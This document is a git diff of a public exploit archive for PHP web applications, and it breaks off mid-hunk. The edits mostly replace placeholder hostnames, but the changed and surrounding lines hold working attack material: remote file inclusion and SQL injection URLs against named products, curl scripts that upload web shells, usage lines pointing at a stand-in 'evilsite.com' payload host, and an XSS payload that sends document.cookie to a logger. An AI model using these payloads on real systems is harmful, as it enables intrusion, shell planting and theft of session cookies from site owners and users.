+http://www.site.com/[Igloo_path]/class/Wiki/Wiki.php?c_node[class_path]=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/1864.txt b/platforms/php/webapps/1864.txt index 6fb8fa2da..d88f70b2e 100755 --- a/platforms/php/webapps/1864.txt +++ b/platforms/php/webapps/1864.txt @@ -13,9 +13,9 @@ ################################################################## Expl: -http://www.server/[ashnews_path]/ashheadlines.php?pathtoashnews=[evil_scripts] +http://www.site.com/[ashnews_path]/ashheadlines.php?pathtoashnews=[evil_scripts] -http://www.server/[ashnews_path]/ashnews.php?pathtoashnews=[evil_scripts] +http://www.site.com/[ashnews_path]/ashnews.php?pathtoashnews=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/1865.txt b/platforms/php/webapps/1865.txt index 6decc4dee..0b599e52e 100755 --- a/platforms/php/webapps/1865.txt +++ b/platforms/php/webapps/1865.txt @@ -12,6 +12,6 @@ ################################################################## Expl: -http://www.server/[Informium_path]/admin/common-menu.php?CONF[local_path]=[evil_scripts] +http://www.site.com/[Informium_path]/admin/common-menu.php?CONF[local_path]=[evil_scripts] # milw0rm.com [2006-06-02] diff --git a/platforms/php/webapps/18652.txt b/platforms/php/webapps/18652.txt index 5d39a65be..8add8326f 100755 --- a/platforms/php/webapps/18652.txt +++ b/platforms/php/webapps/18652.txt @@ -77,3 +77,4 @@ This cms is also affected by XSS vulnerabilities in "wolfcms/admin/user/add" pag +--------------------------------------------------------------------------------------------------------------------------------+ + \ No newline at end of file diff --git a/platforms/php/webapps/1866.txt b/platforms/php/webapps/1866.txt index e7075b2e8..2d1ec7f3c 100755 --- a/platforms/php/webapps/1866.txt +++ b/platforms/php/webapps/1866.txt @@ -7,23 +7,23 @@ # Thanks : Dj_ReMix,Eskobar,TR_IP,ßy KorsaN,OsL3m7,Poizonbox,Di_lejyoner and All MHG USERS # Vulnerable : -http://www.server/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts] -http://www.server/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/index.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_board.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_words.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts] +http://www.site.com/modules/Forums/admin/admin_users.php?phpbb_root_path=[evil_scripts] # milw0rm.com [2006-06-02] diff --git a/platforms/php/webapps/1869.php b/platforms/php/webapps/1869.php index 1e54f9e06..206f198a2 100755 --- a/platforms/php/webapps/1869.php +++ b/platforms/php/webapps/1869.php @@ -21,9 +21,9 @@ echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; -echo "php ".$argv[0]." server /dotclear/ ftp://username:pass@somehost.com cat ./../conf/config.php\r\n"; -echo "php ".$argv[0]." server /dotclear/ ftp://username:pass@somehost.com/somedir ls -la -p81\r\n"; -echo "php ".$argv[0]." server / ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n"; +echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com cat ./../conf/config.php\r\n"; +echo "php ".$argv[0]." target.com /dotclear/ ftp://username:pass@somehost.com/somedir ls -la -p81\r\n"; +echo "php ".$argv[0]." target.com / ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n"; echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n"; echo "<?php\r\n"; echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n"; @@ -80,7 +80,7 @@ on PHP5, because is_dir() and file_exists() funcs support ftp wrappers, you can include an arbitrary prepend.php file in a themes/default/ folder from a remote resource, poc: -http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:password@someserver&cmd=ls%20-la +http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=ftp://username:password@somesite.com&cmd=ls%20-la */ error_reporting(0); diff --git a/platforms/php/webapps/18694.txt b/platforms/php/webapps/18694.txt index 53b2d034a..b0bc7ca3d 100755 --- a/platforms/php/webapps/18694.txt +++ b/platforms/php/webapps/18694.txt @@ -1,4 +1,4 @@ - + @@ -83,3 +83,4 @@ Other parameters can be also modified. </body> </html> +--------------------------------------------------------------------------------------------------------------------------------+ + \ No newline at end of file diff --git a/platforms/php/webapps/1870.txt b/platforms/php/webapps/1870.txt index fa8f111a9..06574cfca 100755 --- a/platforms/php/webapps/1870.txt +++ b/platforms/php/webapps/1870.txt @@ -20,19 +20,19 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[BlueShoes_path]/applications/faq/Bs_Faq.class.php?APP[path][applications]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/faq/Bs_Faq.class.php?APP[path][applications]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/filebrowser/fileBrowserInner.php?APP[path][core]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/filebrowser/fileBrowserInner.php?APP[path][core]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/filemanager/file.php?APP[path][core]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/filemanager/file.php?APP[path][core]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/filemanager/viewer.php?APP[path][core]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/filemanager/viewer.php?APP[path][core]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/imagearchive/Bs_ImageArchive.class.php?APP[path][core]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/imagearchive/Bs_ImageArchive.class.php?APP[path][core]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/mailinglist/Bs_Ml_User.class.php?GLOBALS[APP][path][core]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/mailinglist/Bs_Ml_User.class.php?GLOBALS[APP][path][core]=[evil_scripts] -http://www.server/[BlueShoes_path]/applications/websearchengine/Bs_Wse_Profile.class.php?APP[path][plugins]=[evil_scripts] +http://www.site.com/[BlueShoes_path]/applications/websearchengine/Bs_Wse_Profile.class.php?APP[path][plugins]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1871.txt b/platforms/php/webapps/1871.txt index 5c0bfaa76..4f980c7f3 100755 --- a/platforms/php/webapps/1871.txt +++ b/platforms/php/webapps/1871.txt @@ -36,10 +36,10 @@ exit(); Expl: -http://www.server/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts] -http://www.server/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts] -http://www.server/[Webspotblogging_path]/inc/global.php?path=[evil_scripts] -http://www.server/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts] +http://www.site.com/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts] +http://www.site.com/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts] +http://www.site.com/[Webspotblogging_path]/inc/global.php?path=[evil_scripts] +http://www.site.com/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1872.txt b/platforms/php/webapps/1872.txt index 5e628a538..c9c326894 100755 --- a/platforms/php/webapps/1872.txt +++ b/platforms/php/webapps/1872.txt @@ -21,7 +21,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts] +http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18728.txt b/platforms/php/webapps/18728.txt index d93ec00f4..80e089114 100755 --- a/platforms/php/webapps/18728.txt +++ b/platforms/php/webapps/18728.txt @@ -10,6 +10,6 @@ ################################################## [~]Exploit/p0c : -http://server/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team - DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ] \ No newline at end of file diff --git a/platforms/php/webapps/18729.txt b/platforms/php/webapps/18729.txt index 1ff7fd4fc..a7ecbcd18 100755 --- a/platforms/php/webapps/18729.txt +++ b/platforms/php/webapps/18729.txt @@ -10,6 +10,6 @@ ################################################## [~]Exploit/p0c : -http://server/index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +http://site.com/index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team - DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ] \ No newline at end of file diff --git a/platforms/php/webapps/18741.txt b/platforms/php/webapps/18741.txt index 2174e4d8e..9a963fee2 100755 --- a/platforms/php/webapps/18741.txt +++ b/platforms/php/webapps/18741.txt @@ -11,6 +11,6 @@ ################################################## [~]Exploit/p0c : -http://www.server/index.php?option=com_ponygallery&Itemid=[sqli] +http://www.site.com/index.php?option=com_ponygallery&Itemid=[sqli] Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team - DiosdelaRed - RemoteExecution ] [ Dedalo - Maztor ] \ No newline at end of file diff --git a/platforms/php/webapps/18743.txt b/platforms/php/webapps/18743.txt index 97b9f7f1e..3d45025b0 100755 --- a/platforms/php/webapps/18743.txt +++ b/platforms/php/webapps/18743.txt @@ -1,4 +1,4 @@ -# Exploit Title: MediaXxx Adult Video / Media Script SQL Injection + # Exploit Title: MediaXxx Adult Video / Media Script SQL Injection # Date: 19/05/2012 # Author: Daniel Godoy # Author Mail: DanielGodoy[at]GobiernoFederal[dot]com diff --git a/platforms/php/webapps/1876.pl b/platforms/php/webapps/1876.pl index 9f5329a4a..c3c886641 100755 --- a/platforms/php/webapps/1876.pl +++ b/platforms/php/webapps/1876.pl @@ -11,7 +11,7 @@ # usage: # perl scart.pl <target> </path/> "cmd" # -# Google Dork : site: scartserver +# Google Dork : site: scartserver.com # # Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc # @@ -25,7 +25,7 @@ print STDERR "\n ========================================================= \r\n" print STDERR " *SCart 2.0 Remote Code Execution Exploit* \r\n"; print STDERR " Bugs Found by K-159 \r\n"; print STDERR " www.echo.or.id #e-c-h-o irc.dal.net \r\n"; -print STDERR " Usage: $0 <server> </path/> \"cmd\" \r\n"; +print STDERR " Usage: $0 <www.target.com> </path/> \"cmd\" \r\n"; print STDERR "============================================================= \r\n"; exit; } diff --git a/platforms/php/webapps/1877.php b/platforms/php/webapps/1877.php index 7ae9c0948..1ff610f04 100755 --- a/platforms/php/webapps/1877.php +++ b/platforms/php/webapps/1877.php @@ -20,10 +20,10 @@ echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; -echo "php ".$argv[0]." server /claroline176/ http://evilserver ls -la\r\n"; -echo "php ".$argv[0]." server /claroline176/ http://evilserver cat ./..\r\n"; +echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com ls -la\r\n"; +echo "php ".$argv[0]." target.com /claroline176/ http://evilsite.com cat ./..\r\n"; echo "/../../inc/conf/claro_main.conf.php -p81\r\n"; -echo "php ".$argv[0]." server / http://evilserver uname -a -P1.1.1.1:80\r\n\r\n"; +echo "php ".$argv[0]." target.com / http://evilsite.com uname -a -P1.1.1.1:80\r\n\r\n"; echo "note, on remote location you need a\r\n"; echo "/lib/extauth.lib.php/index.html\r\n"; echo "with this code inside:\r\n\r\n"; diff --git a/platforms/php/webapps/1883.txt b/platforms/php/webapps/1883.txt index e40f350a7..91a1adab6 100755 --- a/platforms/php/webapps/1883.txt +++ b/platforms/php/webapps/1883.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[wikiwig-V4.1]/_wk/wk_lang.php?WK[wkPath]=[evil_scripts] +http://www.site.com/[wikiwig-V4.1]/_wk/wk_lang.php?WK[wkPath]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18850.txt b/platforms/php/webapps/18850.txt index 4b24827c0..b23308a40 100755 --- a/platforms/php/webapps/18850.txt +++ b/platforms/php/webapps/18850.txt @@ -23,4 +23,4 @@ Replace http://xxxxxxxxx.com/x7path/ to your target url. Dont forget replace YOU add this code to inside body tag of main html page: <iframe style="display:none;" src="frame.html"></iframe> -and... upload main page and frame.html . Send main page url to any administrator. \ No newline at end of file +and... upload main page and frame.html . Send main page url to any administrator. \ No newline at end of file diff --git a/platforms/php/webapps/1886.txt b/platforms/php/webapps/1886.txt index a000100ff..ca1f03bb6 100755 --- a/platforms/php/webapps/1886.txt +++ b/platforms/php/webapps/1886.txt @@ -19,7 +19,7 @@ $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[OpenEMR_path]/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=[evil_scripts] +http://www.site.com/[OpenEMR_path]/contrib/forms/evaluation/C_FormEvaluation.class.php?GLOBALS[fileroot]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1887.txt b/platforms/php/webapps/1887.txt index 724af8ace..62db6e71f 100755 --- a/platforms/php/webapps/1887.txt +++ b/platforms/php/webapps/1887.txt @@ -22,7 +22,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[XtremeNews_path]/sources/post.php?fil_config=[evil_scripts] +http://www.site.com/[XtremeNews_path]/sources/post.php?fil_config=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1891.txt b/platforms/php/webapps/1891.txt index 5c715b4fc..c40c88e68 100755 --- a/platforms/php/webapps/1891.txt +++ b/platforms/php/webapps/1891.txt @@ -20,9 +20,9 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[EPS_path]/footer.php?absolutepath=[evil_scripts] +http://www.site.com/[EPS_path]/footer.php?absolutepath=[evil_scripts] -http://www.server/[EPS_path]/admin/footer.php?absolutepath=[evil_scripts] +http://www.site.com/[EPS_path]/admin/footer.php?absolutepath=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18913.php b/platforms/php/webapps/18913.php index 4755d4c2a..9215a54b3 100755 --- a/platforms/php/webapps/18913.php +++ b/platforms/php/webapps/18913.php @@ -27,13 +27,13 @@ When deleting a post, a variable called "unlink" will talk to the system the new But it's possible to delete others files, typing all the file path or using "../". Usage: -php exploit.php http://server/supernews/ +php exploit.php http://target.com/supernews/ For more info about vulnerabilities: php exploit.php moreinfo Example: -$ php exploit.php http://server/news/ +$ php exploit.php http://target.com/news/ Supernews <= 2.6.1 SQL Injection Exploit Coded by WhiteCollarGroup - www.wcgroup.host56.com @@ -43,7 +43,7 @@ Use at your own risk. [*] Trying to access server... [*] Detecting version... :-o [!] Version: >2.6.1 :-) -[!] Administration panel: http://server/news/admin/adm_noticias.php +[!] Administration panel: http://target.com/news/admin/adm_noticias.php [i] Type "exploit.php moreinfo" for get others vulnerabilities. [*] Getting user & pass 8-] User: user1 @@ -105,8 +105,8 @@ if($argc!=2) { echo "Usage: php $argv[0] url Example: -php $argv[0] http://server/supernews -php $argv[0] https://server/supernews/"; +php $argv[0] http://target.com/supernews +php $argv[0] https://target.com/supernews/"; exit; } @@ -114,12 +114,12 @@ if($argv[1]=="moreinfo") { echo "\nMore vulnerabilities: - Deleting files You can delete files on the server, after login, using the URL: - http://server/admin/adm_noticias.php?deleta=ID&unlink=FILE + http://server.com/admin/adm_noticias.php?deleta=ID&unlink=FILE Replace \"ID\" with a valid post ID (will be deleted) and FILE with the file address on the server. - Deleting all news on the database: You can delete all news on the database with one request, only. Look: - http://server/admin/adm_noticias.php?deleta=0%20or%201=1--+ + http://server.com/admin/adm_noticias.php?deleta=0%20or%201=1--+ All vulnerabilities discovered by WCGroup.\n"; exit; diff --git a/platforms/php/webapps/1895.txt b/platforms/php/webapps/1895.txt index 5ff3c4c7d..be46de2e3 100755 --- a/platforms/php/webapps/1895.txt +++ b/platforms/php/webapps/1895.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[Empris_path]/phormation/sql_fcnsOLD.php?phormationdir=[evil_scripts] +http://www.site.com/[Empris_path]/phormation/sql_fcnsOLD.php?phormationdir=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/1896.txt b/platforms/php/webapps/1896.txt index 0b14f250c..7e8361e81 100755 --- a/platforms/php/webapps/1896.txt +++ b/platforms/php/webapps/1896.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[aePartner_path]/inc/design.inc.php?dir[data]=[evil_scripts] +http://www.site.com/[aePartner_path]/inc/design.inc.php?dir[data]=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18965.html b/platforms/php/webapps/18965.html index 4bba126de..6aab9fc37 100755 --- a/platforms/php/webapps/18965.html +++ b/platforms/php/webapps/18965.html @@ -49,4 +49,4 @@ CSRF (Add Reseller) ################################################################################## - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/1897.txt b/platforms/php/webapps/1897.txt index a35577ed2..bed0083e1 100755 --- a/platforms/php/webapps/1897.txt +++ b/platforms/php/webapps/1897.txt @@ -19,11 +19,11 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Expl: -http://www.server/[phpOnDirectory_path]/admin/generate_category_html.php?CONST_INCLUDE_ROOT=[evil_scripts] +http://www.site.com/[phpOnDirectory_path]/admin/generate_category_html.php?CONST_INCLUDE_ROOT=[evil_scripts] -http://www.server/[phpOnDirectory_path]/admin/generate_site_html.php?CONST_INCLUDE_ROOT=[evil_scripts] +http://www.site.com/[phpOnDirectory_path]/admin/generate_site_html.php?CONST_INCLUDE_ROOT=[evil_scripts] -http://www.server/[phpOnDirectory_path]/admin/index.php?CONST_INCLUDE_ROOT=[evil_scripts] +http://www.site.com/[phpOnDirectory_path]/admin/index.php?CONST_INCLUDE_ROOT=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18970.txt b/platforms/php/webapps/18970.txt index 53233f756..88954d1d6 100755 --- a/platforms/php/webapps/18970.txt +++ b/platforms/php/webapps/18970.txt @@ -45,4 +45,4 @@ search.php?req='--></style></script><script>alert(0x0002BC)</script> #+--------------------------------------------------+# #[�] Greetz to : sec4ever # -#---------------------------------------------------+# \ No newline at end of file +#---------------------------------------------------+# \ No newline at end of file diff --git a/platforms/php/webapps/1898.txt b/platforms/php/webapps/1898.txt index 30c845621..5e14d86e9 100755 --- a/platforms/php/webapps/1898.txt +++ b/platforms/php/webapps/1898.txt @@ -44,9 +44,9 @@ function nav_path($pagename,$level=0) { #Expl: -http://www.server/[WebprojectDB_path]/include/nav.php?INCDIR=[evil_scripts] +http://www.site.com/[WebprojectDB_path]/include/nav.php?INCDIR=[evil_scripts] -http://www.server/[WebprojectDB_path]/include/lang.php?INCDIR=[evil_scripts] +http://www.site.com/[WebprojectDB_path]/include/lang.php?INCDIR=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18983.php b/platforms/php/webapps/18983.php index ef87dacc7..fe81e1715 100755 --- a/platforms/php/webapps/18983.php +++ b/platforms/php/webapps/18983.php @@ -9,7 +9,7 @@ # Tested on: Debian GNU/Linux,Windows 7 Ultimate Example: -$ php mnews.php http://server/scripts/mnews/ +$ php mnews.php http://target.com/scripts/mnews/ */ @@ -34,7 +34,7 @@ if($argc!=2) { echo "Usage: \n"; echo "php $argv[0] <target url>\n"; echo "Example:\n"; - echo "php $argv[0] http://www.webserver/mnews\n"; + echo "php $argv[0] http://www.website.com/mnews\n"; exit; } diff --git a/platforms/php/webapps/1899.txt b/platforms/php/webapps/1899.txt index 4a3ee971c..2d010fbef 100755 --- a/platforms/php/webapps/1899.txt +++ b/platforms/php/webapps/1899.txt @@ -20,7 +20,7 @@ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ #Expl: -http://www.server/[QBoard_path]/board/post.php?qb_path=[evil_scripts] +http://www.site.com/[QBoard_path]/board/post.php?qb_path=[evil_scripts] #Pozdro dla wszystkich ;-) diff --git a/platforms/php/webapps/18999.php b/platforms/php/webapps/18999.php index c14e4fb29..a756fbe94 100755 --- a/platforms/php/webapps/18999.php +++ b/platforms/php/webapps/18999.php @@ -9,7 +9,7 @@ # Tested on: Debian GNU/Linux,Windows 7 Ultimate Example: -$ php mnews.php http://server/scripts/mnews/ +$ php mnews.php http://target.com/scripts/mnews/ */ @@ -34,7 +34,7 @@ if($argc!=2) { echo "Usage: \n"; echo "php $argv[0] <target url>\n"; echo "Example:\n"; - echo "php $argv[0] http://www.webserver/snnews\n"; + echo "php $argv[0] http://www.website.com/snnews\n"; exit; } diff --git a/platforms/php/webapps/19007.php b/platforms/php/webapps/19007.php index c396d0723..6df55461b 100755 --- a/platforms/php/webapps/19007.php +++ b/platforms/php/webapps/19007.php @@ -67,7 +67,7 @@ if($argc!=2) { _printf("Usage:"); _printf("php $argv[0] <target>"); _printf("Example:"); - _printf("php $argv[0] http://server/path/"); + _printf("php $argv[0] http://site.com/path/"); exit; } diff --git a/platforms/php/webapps/19012.txt b/platforms/php/webapps/19012.txt index 760651e47..21b5b00ec 100755 --- a/platforms/php/webapps/19012.txt +++ b/platforms/php/webapps/19012.txt @@ -11,7 +11,7 @@ Page upload.php is vulnerable to Remote File Upload. Code : <?php $u="whatyouwant.php"; -$c = curl_init("http://server/wp-content/plugins/front-file-manager/upload.php"); +$c = curl_init("http://site.com/wp-content/plugins/front-file-manager/upload.php"); curl_setopt($c, CURLOPT_POST, true); curl_setopt($c, CURLOPT_POSTFIELDS, array('file'=>"@$u", @@ -25,7 +25,7 @@ echo $e; Shell could be found at : - http://server/wp-content/plugins/uploads/2012/06/shell.php - (http://server/wp-content/plugins/uploads/[YYYY]/[MM]/shell.php + http://site.com/wp-content/plugins/uploads/2012/06/shell.php + (http://site.com/wp-content/plugins/uploads/[YYYY]/[MM]/shell.php ######################################################################################### diff --git a/platforms/php/webapps/19035.txt b/platforms/php/webapps/19035.txt index 391a6c94c..9d20f970e 100755 --- a/platforms/php/webapps/19035.txt +++ b/platforms/php/webapps/19035.txt @@ -39,7 +39,7 @@ fclose($log); [+]Exploit: ------- 1)First Register in the site -2) go to http://server/edit.php +2) go to http://site.com/edit.php 3) add This Code :<script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script> diff --git a/platforms/php/webapps/19050.txt b/platforms/php/webapps/19050.txt index 56c0fca99..8fe3b2f03 100755 --- a/platforms/php/webapps/19050.txt +++ b/platforms/php/webapps/19050.txt @@ -10,13 +10,13 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php +Vuln page : http://mysite.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php exploit : Go to url : -http://my-server/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=// +http://my-site.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=// And you can upload what you want. You could change file path with target_path (deface, shell etc...) diff --git a/platforms/php/webapps/19051.txt b/platforms/php/webapps/19051.txt index c69f78bda..e2e46c837 100755 --- a/platforms/php/webapps/19051.txt +++ b/platforms/php/webapps/19051.txt @@ -16,8 +16,8 @@ exploit : <?php $u="C:\Program Files (x86)\EasyPHP-5.3.9\www\info.php"; -$c = curl_init("http://myserver/uploads/uploadify.php"); // Version 2.9 -$c = curl_init("http://myserver/application/uploads/uploadify.php"); // Version trunk +$c = curl_init("http://mysite.com/uploads/uploadify.php"); // Version 2.9 +$c = curl_init("http://mysite.com/application/uploads/uploadify.php"); // Version trunk curl_setopt($c, CURLOPT_POST, true); curl_setopt($c, CURLOPT_POSTFIELDS, array('Filedata'=>"@$u", @@ -28,7 +28,7 @@ curl_close($c); echo $e; ?> -shell access : http://myserver/uploads/temps/info.php -or : http://myserver/application/uploads/temps/info.php +shell access : http://mysite.com/uploads/temps/info.php +or : http://mysite.com/application/uploads/temps/info.php ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19052.txt b/platforms/php/webapps/19052.txt index b5f8b2471..a73bb6627 100755 --- a/platforms/php/webapps/19052.txt +++ b/platforms/php/webapps/19052.txt @@ -10,7 +10,7 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/user-meta/framework/helper/uploader.php +Vuln page : http://mysite.com/wp-content/plugins/user-meta/framework/helper/uploader.php exploit : @@ -28,6 +28,6 @@ echo $e; Shell access : Shown in result of exploit ex : {"success":true,"fieldname":null,"filepath":"\/2012\/06\/1339356494.jpg"} - access : http://myserver/wp-content/uploads/2012/06/1339356494.jpg + access : http://mysite.com/wp-content/uploads/2012/06/1339356494.jpg ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19053.txt b/platforms/php/webapps/19053.txt index e28ec3817..b04c0e242 100755 --- a/platforms/php/webapps/19053.txt +++ b/platforms/php/webapps/19053.txt @@ -10,7 +10,7 @@ # ########################################################### -Vuln page : http://myserver/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php +Vuln page : http://mysite.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php exploit : @@ -29,6 +29,6 @@ echo $e; You can choose where upload the shell with param batch_id -Shell access : http://server/wp-content/plugins/topquark/lib/js/fancyupload/showcase/shell.php1 +Shell access : http://site.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/shell.php1 ##################################################################### \ No newline at end of file diff --git a/platforms/php/webapps/19054.txt b/platforms/php/webapps/19054.txt index 80a200217..efe9bf3e2 100755 --- a/platforms/php/webapps/19054.txt +++ b/platforms/php/webapps/19054.txt @@ -10,7 +10,7 